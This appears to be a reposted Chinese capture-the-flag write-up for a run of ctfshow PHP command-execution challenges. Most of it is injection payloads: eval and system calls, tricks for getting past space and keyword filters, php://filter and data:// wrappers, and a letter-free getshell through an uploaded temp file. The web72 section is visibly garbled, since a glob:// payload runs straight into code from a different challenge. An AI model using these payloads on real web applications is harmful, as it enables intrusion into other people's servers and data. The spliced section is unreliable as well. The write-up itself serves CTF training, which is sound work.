iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >ctfshow web入门之命令执行
  • 270
分享到

ctfshow web入门之命令执行

php开发语言 2023-10-11 12:10:59 270人浏览 八月长安
摘要

前提 一般可用函数: system(),echo``,exec(),passthru() WEB29 基本没有什么过滤,直接做就行 web30 过滤system函数,可以用echo``形式; payl

前提

一般可用函数:

system(),echo``,exec(),passthru()

WEB29

基本没有什么过滤,直接做就行

web30

过滤system函数,可以用echo``形式;

payload:

echo`tac f*`;

web31

增加了过滤内容,空格被过滤我们可以用以下字符绕过

< 、<>、%20(space)、%09(tab)、$IFS$9、 IFS 、 {IFS}、 IFSIFS等

payload

echo`tac%09f*`;可以使用逃逸//1不属于C的关键子字,直接执行命令?c=eval($_GET[1]);&1=system('cat f*');

web32

过滤字符

/flag|system|PHP|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i

还是用上一题的方法,逃逸一个1字符;/有点类似于文件包含,通过filter为协议读flag

这里过滤了;,PHP最后一条语句是不需要;的,可以?>代替;过滤了空格照常绕过即可;

payload

?c=include%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web33

过滤字符

("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i

上一题的方法仍然适用;

include可以用 require替换

web34

过滤了括号,分号;基本上只能使用语言结构像echo;include;require;

同上了

web35

过滤了左尖括号,对我们没有影响,继续嗦

web36

过滤了数字,把要逃逸的1改为任意字母即可

web37

包含了c的参数,直接使用$_GET是无用的,c的参数被当作字符串进行解析;

所以我们这里用data伪协议

payload:

?c=data://text/plain,

web38

过滤了php时我们换一种方式写,利用短标签的形式写

web39

同上,即使有后缀我们也是前面的先执行

web40

提示payload:

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
  1. localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
  2. pos():返回数组中当前元素的值
  3. scandir():获取目录下的文件
  4. array_reverse():将数组逆序排列
  5. next():函数将内部指针指向下一元素,并输出
  6. show_source()函数对文件进行语法高亮显示,是highlight_file()别名。
  7. print_r(scandir(‘.’)); 查看当前目录下的所有文件名
  8. current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名

第二个payload:

?c=eval(array_pop(next(get_defined_vars())));

通过get_defined_vars()拿到所有元素,再用next找到我们要利用的点,array_pop获取,通过post传参即可

web41

运算构造任意字符的ascii值(这里特意留下了或运算符的原因),用羽师傅的脚本跑了;

web42

system($c." >/dev/null 2>&1")

把返回内容丢掉了,2代表错误输出,1代表标准输出,把2绑定到1

双写绕过;

;//分号               t|//只执行后面那条命令  f||//只执行前面那条命令  t&//两条命令都会执行    f&&//两条命令都会执行    f

web43,44

payload:

?c=tac f*||ls //上面有测试结果

web45

payload:

?c=tac%09f*||ls

web46,47,48,49

payload:

?c=tac%09fla?.php||ls%09不属于数字

web50

?c=nl

两个单引号分割字符串,中间会自动忽略

nl->带行号读取,不支持通配符

web51

同50第一payload

web52

根目录下为真flag

payload1:?c=cp${IFS}/fla?${IFS}a.txt||ls  复制到a.txt?c=nl${IFS}a.txt||ls        直接访问a.txt也行payload2:?c=nl${IFS}/fla''g||ls

web53

flag在flag.php中

?c=nl${IFS}fla''g.php?c=cp${IFS}fla''g.php${IFS}a.txt访问a.txt

web54

换了一种过滤方式,我们还可以使用mv命令

?c=mv${IFS}fla?.php${IFS}a.txt重命名后访问即可

web55

(1)/bin目录

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php

?c=/???/????64 ????.???

(2) /ussr/bin目录

主要放置一些应用软件工具的必备执行档例如c++、g++、GCc、chdrv、diff、dig、du、eject、elm、free、gnome*、zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、newaliases、nslookup passwd、quota、smb*、wget等。
可以利用/usr/bin下的bzip2 意思就是说我们先将flag.php文件进行压缩,然后再将其下载

?c=/???/???/????2 ????.???/flag.php.bz2

(3)

我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。[@-[]可以用来通配表示大写字母,过滤掉干扰文件,最后一位一般为大写,而在linux系统下.是可以用来执行任意脚本文件的,利用这两点,我们可以构造payload

?c=.%20/???/???[@-[]

文件内容以 #!/bin/sh 开头

下带我们要执行的命令

DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>POST数据包POCtitle>head><body><fORM action="Http://cfe00e5c-379f-4958-a666-7b5ce9bcc58f.challenge.ctf.show/" method="post" enctype="multipart/form-data">        <label for="file">文件名:label>    <input type="file" name="file" id="file"><br>    <input type="submit" name="submit" value="提交">form>body>html>

//无字母getshell

web56

同55

web57

由过滤字符,我们的思路是构造一个36

echo $(()) //运算符0echo ~$(())~0echo $((~$(())))-1echo $((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(()))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))-36取反得到35再增加一个$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))

web58

传参方式改为了post,

payload:

c=show_source(next(array_reverse(scandir(pos(localeconv())))));也可以用更简单的形式show_source('flag.php');前提是要知道有一个flag.php的文件

也可以文件读取

c=echo file_get_contents('flag.php');

web59,60,61,62,63,64,65

同58第一,过滤了file_get_contents

也能用include

c=include($_GET[1]);?1=php://filter/convert.base64-encode/resource=flag.phporc=include('flag.php');echo $flag;orc=include('flag.php');var_dump(get_defined_vars());

web66,67

过滤了show_source

c=var_dump(scandir(‘/’));找一下本题文件名称和位置

c=highlight_file(‘/flag.txt’);读取\

web68,69,70

payload:

c=include('/flag.txt');

没有php标签,作为html直接进行输出

web71

error_reporting(0);ini_set('display_errors', 0);// 你们在炫技吗?if(isset($_POST['c'])){        $c= $_POST['c'];        eval($c);        $s = ob_get_contents();        ob_end_clean();        echo preg_replace("/[0-9]|[a-z]/i","?",$s);}else{    highlight_file(__FILE__);}?>

附件拿到源码,看到我们的命令行执行了但缓冲区被清除替换,我们看不到原本执行的内容,在include后面加上退出命令即可;

payload:

c=include('/flag.txt');exit;

web72

我们包含读取文件目录都被open_basedir给限制了,采用glob绕过

c=$a = "glob://', $content, $used_funcs);      foreach ($used_funcs[0] as $func) {        if (!in_array($func, $whitelist)) {            die("请不要输入奇奇怪怪的函数");        }    }    //帮你算出答案    eval('echo '.$content.';');} 

源码中有长度限制,以及我们可以利用的函数;

base_convert() 函数在任意进制之间转换数字decbin() 函数把十进制转换为二进制bindec() 把二进制转换为十进制dechex() 把十进制转换为十六进制decoct() 把十进制转换为八进制hex2bin() 把十六进制值转换为 ASCII 字符

主要思路为动态函数调用

需要构造 G E T [ a b s ] ( _GET[abs]( GET[abs](_GET[acos])的形式

利用进制转换进行构造;

_GET十进制表示为1598506324;16进制为5f474554;字母是非法的。我们可以利用dechex(1598506324)转换为16进制

hex2bin()是非法的;我们需要通过base_convert()进行转换得到hex2bin();

base_convert(37907361743,10,36) //转换得到hex2bin

所以我们构造得到_GET为

base_convert(37907361743,10,36)(dechex(1598506324))

令变量$pi=base_convert(‘37907361743’,10,36)(dechex(1598506324))

则我们$$pi得到 $_GET

同样利用动态函数调用

$$pi{abs}($$pi{acos});传入&abs=system&acos=ls得到system(ls);从而执行我们的命令

最终payload:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php

来源地址:https://blog.csdn.net/uuzfumo/article/details/128357863

--结束END--

本文标题: ctfshow web入门之命令执行

本文链接: https://www.lsjlt.com/news/428340.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作